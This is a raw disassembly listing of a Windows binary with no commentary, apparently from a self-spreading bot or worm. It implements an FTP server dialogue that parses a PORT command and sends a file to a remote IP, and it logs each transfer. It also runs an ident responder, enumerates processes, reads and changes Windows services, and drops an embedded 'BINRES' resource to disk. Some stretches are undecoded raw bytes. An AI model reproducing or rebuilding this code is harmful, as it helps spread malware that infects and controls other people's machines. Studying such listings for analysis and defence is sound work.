xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401861
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016AE
push offset asc_444098 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_444098 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016AE
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017E4
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call near ptr byte_5EA1BD
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401A8C
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017E4
push eax
call near ptr 77C3F010h
nop
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F595
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F595
push 2
push 0
push edi
nop
call near ptr 77C4139Ch
push edi
nop
call near ptr 77C41574h
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
call near ptr 77C4139Ch
nop
add esp, 1Ch
loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F513
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp
cmp edi, 1000h
jz short loc_41F4C0
loc_41F513: ; CODE XREF: sub_41EF30+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_447DE8
test cl, cl
mov eax, edx
jz short loc_41F57C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_447988
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60A5
call sub_401848
add esp, 2Ch
loc_41F57C: ; CODE XREF: sub_41EF30+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
nop
call near ptr 77C40AB1h
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F595: ; CODE XREF: sub_41EF30+55Bj
; sub_41EF30+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F636: ; CODE XREF: sub_41EF30+109j
push 9C4h
loc_41F63B: ; CODE XREF: sub_41EF30+E8j
nop
call near ptr 2820000h
loc_41F641: ; CODE XREF: sub_41EF30+140j
mov al, byte_4E6E74
test al, al
jnz loc_41F002
pop ebp
pop ebx
loc_41F650: ; CODE XREF: sub_41EF30+BEj
mov eax, [edi+15h]
push eax
nop
call near ptr 71AB9639h
loc_41F65A: ; CODE XREF: sub_41EF30+82j
; sub_41EF30+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41EF30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F860 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F860
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F89D
mov byte_4E6EC9, 0
jmp loc_41FA01
; ---------------------------------------------------------------------------
loc_41F89D: ; CODE XREF: sub_41F860+2Fj
mov cl, byte_4472AB
xor ebx, ebx
cmp cl, bl
mov byte_4E6EC9, 1
jnz loc_41F9F4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_401FEB
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41F9E7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_401424
mov [esp+0A0h+var_4], ebx
call sub_401EEC
mov esi, dword_50FABC
call esi
cdq
mov ecx, 3
push offset byte_446F60
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015D7
cmp edi, ebx
jle short loc_41F966
loc_41F90A: ; CODE XREF: sub_41F860+104j
lea ecx, [esp+9Ch+var_60]
call sub_401424
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FBE
call esi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_443E74
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41F90A
loc_41F966: ; CODE XREF: sub_41F860+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_40146F
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017E4
push eax
push 71h
call esi
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
nop
call near ptr byte_5EA1BD
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
call near ptr 71AB428Ah
nop
mov esi, dword_50FC88
push ebp
call esi
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi
mov byte_4E6EC9, bl
pop edi
jmp short loc_41F9FE
; ---------------------------------------------------------------------------
loc_41F9E7: ; CODE XREF: sub_41F860+67j
push 7D0h
nop
call near ptr 2820000h
jmp short loc_41FA01
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F860+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_50FC88
loc_41F9FE: ; CODE XREF: sub_41F860+185j
push ebp
call esi
loc_41FA01: ; CODE XREF: sub_41F860+38j
; sub_41F860+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F860 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FA90 proc near ; CODE XREF: sub_401ABEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FACB
dec eax
jz short loc_41FAB4
dec eax
jnz short loc_41FAF1
mov ecx, dword_50BB58
mov dword_50BB3C, 4
call sub_401DCA
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FAB4: ; CODE XREF: sub_41FA90+8j
mov ecx, dword_50BB58
mov dword_50BB3C, 7
call sub_401028
jmp short loc_41FAF1
; ---------------------------------------------------------------------------
loc_41FACB: ; CODE XREF: sub_41FA90+5j
mov ecx, dword_50BB58
xor eax, eax
mov dword_50BB44, eax
mov dword_50BB3C, 1
mov dword_50BB4C, eax
mov dword_50BB50, eax
call sub_401744
loc_41FAF1: ; CODE XREF: sub_41FA90+Bj
; sub_41FA90+22j ...
mov eax, dword_50BB5C
push offset dword_50BB38
push eax
mov dword_50BB3C, 4
nop
call near ptr 28D07CCh
retn 4
sub_41FA90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FB30: ; CODE XREF: ___:loc_401956j
push esi
xor esi, esi
push offset sub_401ABE
mov ecx, offset byte_44793F
mov dword_50BB38, 20h
mov dword_50BB3C, 2
mov dword_50BB40, 3
mov dword_50BB44, esi
mov dword_50BB48, esi
mov dword_50BB4C, esi
mov dword_50BB50, esi
call sub_4017E4
push eax
nop
call near ptr 28D03A5h
cmp eax, esi
mov dword_50BB5C, eax
jz short loc_41FBAA
push offset dword_50BB38
push eax
mov dword_50BB3C, 4
mov dword_50BB4C, esi
mov dword_50BB50, esi
call near ptr 28D07CCh
nop
loc_41FBAA: ; CODE XREF: ___:0041FB86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FBD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E068
mov eax, esi
pop esi
retn
sub_41FBD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FC00 proc near ; CODE XREF: sub_401CDFj
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50BB58, ecx
push 100h
mov ecx, offset byte_44793F
call sub_4017E4
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401956
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
call near ptr 28D0000h
nop
xor eax, eax
add esp, 110h
retn
sub_41FC00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC80: ; CODE XREF: ___:00401C30j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
call near ptr 77C3F010h
nop
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FCA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCA2: ; CODE XREF: ___:0041FC9Aj
mov ecx, [esp+18h]
push ecx
call near ptr 2861D55h
nop
mov esi, eax
test esi, esi
jnz short loc_41FCB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCB9: ; CODE XREF: ___:0041FCB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 27706F7h
mov edi, eax
test edi, edi
jnz short loc_41FCDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FCDC: ; CODE XREF: ___:0041FCD4j
push ebp
push edi
push esi
nop
call near ptr 2780000h
push edi
push esi
mov ebp, eax
call near ptr 2780461h
nop
push ebp
mov esi, eax
nop
call near ptr 27807E9h
push ebx
push esi
push 1
push eax
call near ptr 77C4173Bh
nop
push ebx
call near ptr 77C40AB1h
nop
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD50 proc near ; CODE XREF: sub_40187Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FD78
push esi
call near ptr 71AB4FD4h
nop
test eax, eax
jnz short loc_41FD71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FD71: ; CODE XREF: sub_41FD50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FD78: ; CODE XREF: sub_41FD50+Fj
pop esi
retn
sub_41FD50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD90 proc near ; CODE XREF: sub_401A8Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FDAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FDAE: ; CODE XREF: sub_41FD90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40187F
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FE0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE0A: ; CODE XREF: sub_41FD90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FD90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40197Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FE6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FE6E: ; CODE XREF: sub_41FE50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FEC0
push esi
call near ptr 71AB9639h
nop
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF24
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF27
loc_41FF24: ; CODE XREF: sub_41FEF0+14j
or eax, 0FFFFFFFFh
loc_41FF27: ; CODE XREF: sub_41FEF0+32j
pop esi
add esp, 10h
retn
sub_41FEF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF40 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41FF76
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_41FF76
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41FF79
loc_41FF76: ; CODE XREF: sub_41FF40+8j
; sub_41FF40+1Aj
or eax, 0FFFFFFFFh
loc_41FF79: ; CODE XREF: sub_41FF40+34j
pop edi
pop esi
retn
sub_41FF40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41FF90 proc near ; CODE XREF: sub_4015FAj
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_436840
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_436FC0
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41FFC3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41FFC3: ; CODE XREF: sub_41FF90+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42008D
push ebx
mov ebx, dword_50F874
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41FFE5: ; CODE XREF: sub_41FF90+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420077
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_436FBA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420070
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_436FB4
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
dd 500D75C0h, 95E89056h, 0C6022CFFh, 1132444h
; ---------------------------------------------------------------------------
loc_420070: ; CODE XREF: sub_41FF90+A2j
push esi
nop
call near ptr 28207DAh
loc_420077: ; CODE XREF: sub_41FF90+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_41FFE5
pop edi
pop esi
pop ebp
pop ebx
loc_42008D: ; CODE XREF: sub_41FF90+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_41FF90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4200F0 proc near ; CODE XREF: sub_4019FBj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4200F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401861
push eax
mov [esp+464h+var_4], 0
call sub_401E8D
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_42026A
lea ecx, [esp+460h+var_43C]
call sub_401424
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_401681
push eax
push 80000002h
call near ptr 2910000h
nop
mov ecx, [esp+474h+var_468]
lea edx, [esp+474h+var_464]
lea eax, [esp+474h+var_420]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call near ptr 28C0000h
nop
lea edx, [esp+0Bh]
lea eax, [esp+48Ch+var_438]
push edx
push eax
lea ecx, [esp+494h+var_478]
nop
call near ptr 76081F67h
mov ecx, dword_50F9AC
mov [esp+494h+var_38], 2
mov edx, [ecx]
lea ecx, [esp+494h+var_480]
push edx
push offset asc_443AF4 ; "\\"
nop
call near ptr 76085AE4h
inc eax
lea ecx, [esp+49Ch+var_488]
push eax
push 0
nop
call near ptr 760976AFh
lea ecx, [esp+4A4h+var_490]
nop
call near ptr 7608B84Ch
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23B0771h, 14244C8Dh
dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42026A: ; CODE XREF: sub_4200F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4200F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401E8Dj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 28E09F4h
mov ebx, eax
test ebx, ebx
jnz short loc_420325
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420325: ; CODE XREF: sub_420300+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push ebx
nop
call near ptr 2880791h
mov esi, eax
test esi, esi
jnz short loc_420350
push ebx
nop
call near ptr 28F0000h
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420350: ; CODE XREF: sub_420300+3Fj
push ebp
push edi
mov edi, dword_50F740
push esi
call edi
push esi
call edi
mov ebp, dword_50F73C
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_50F74C
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203D0 proc near ; CODE XREF: sub_4018A7j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 2760A3Ah
push eax
call near ptr 28A167Ch
nop
mov ebp, dword_50F718
mov edi, dword_50F8D8
test eax, eax
jnz short loc_420420
